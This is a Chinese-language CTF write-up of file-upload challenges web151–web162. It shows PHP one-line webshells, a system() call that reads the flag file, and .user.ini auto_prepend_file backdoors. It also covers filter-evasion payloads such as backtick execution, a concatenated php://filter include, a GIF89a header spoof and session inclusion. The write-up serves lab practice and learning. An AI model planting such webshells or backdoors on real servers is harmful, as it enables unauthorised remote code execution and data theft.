Skip to main content

文件上传

南神博客:https://www.wlhhlc.top/posts/14827/

文件上传

web151

前台校验不可靠

题目给的是上传图片,结合前端猜测先传图片然后bp抓包的时候改成php

<?php @eval($_POST['mumuzi']);?>

image-20211125090650133

提示上传接口出现异常,我以为是我的问题,但是重启一个靶场就正常了

。。。。。

image-20211125091059128

image-20211125091201045

POST:mumuzi=system('tac ../flag.php');

web152

后端不能单一校验,还是之前的

image-20211125091919948

他这里应该是指Content-Type的检测

image-20211125092151614

web153

后端不能单一校验,后端校验要严密

image-20211125092303831

这一次再传php就拦截下来了,这里开始可以用.user.ini来构造后门(怎么感觉之前做过)

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。.htaccess是Apache的,.user.ini是Nginx的
auto_prepend_file=filename      //包含在文件头
auto_append_file=filename //包含在文件尾

这里传一个.user.ini

里面内容写auto_prepend_file=mumuzi.png

image-20211125092714084

然后上传一个png图片,包含木马

然后利用文件包含getshell

image-20211125092822175

然后访问/upload/,一句话连接即可

image-20211125092947806

web154

后端不能单二校验 宁就不能白名单吗

继续.user.ini呢?

image-20211125093202054

image-20211125093242307

在传mumuzi.png的时候报错了

可能是马的问题,这次使用短标签试试

image-20211125093457578

发现还是不行,然后把flag.php改成了flag.*

image-20211125093611260

原来是过滤了php

<?=system("tac ../flag.*");?>

接着直接访问/upload即可

web155

后端不能单三校验 后端校验要严密

继续试试.user.ini

image-20211126083945665

然后传mumuzi.png

image-20211126084359420

成功,然后访问url/upload/即可

web156

方法不变,同web154 155

web157

.user.ini正常上传了,但是在传mumuzi.png的时候出错

image-20211126084814147

看来又过滤了什么不知名的东西,测试删掉system报错,tac报错,然后发现是分号的问题。这里使用反引号(相当于shell_exec() )

<?=`tac ../f*`?>

image-20211126085321198

然后访问/upload即可

(后来发现短标签可以不要分号啊,结果这个payload连着打了几题)

web158

上传.user.ini成功

上传web157的mumuzi.png成功

访问/upload/即可

web159

上传.user.ini成功

上传web157的mumuzi.png成功

访问/upload/即可

web160

上传.user.ini成功

上传mumuzi.png失败了。焯,这道题.user.ini没问题的话说明思路没错,因此能猜到的是又多过滤了什么奇怪的东西

经过测试,发现空格和反引号都被过滤了,如图,删掉反引号和空格就能成功上传

image-20211201103433395

于是用伪协议来读取flag(不要忘了过滤了php)

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

这里"."是拼接,开头结尾的""是作为include的参数

image-20211201103916847

image-20211201103922994

web161

狮虎们轻点,嘤嘤嘤

image-20211201104244101

image-20211201104556898

一张正常的图片都不让我传。。。。。

多次操作无果之后去看wp结果wp说就在内容前面加个GIF89a。。。那不就是加个图片的头来骗检测吗为什么我还是不行啊

然后我重启环境之后发现可以了。。。。。。。。。。。。。。

image-20211201144221394

image-20211201144314185

web162

image-20211201144725977

焯,用不来了,看WP了,晚安

这里在内容里面过滤了 . 这里要用到session包含,知识点可以看web82

首先上传一个.user.ini

GIF89a
auto_prepend_file=/tmp/sess_muma

image-20211201145140618

然后用session竞争的脚本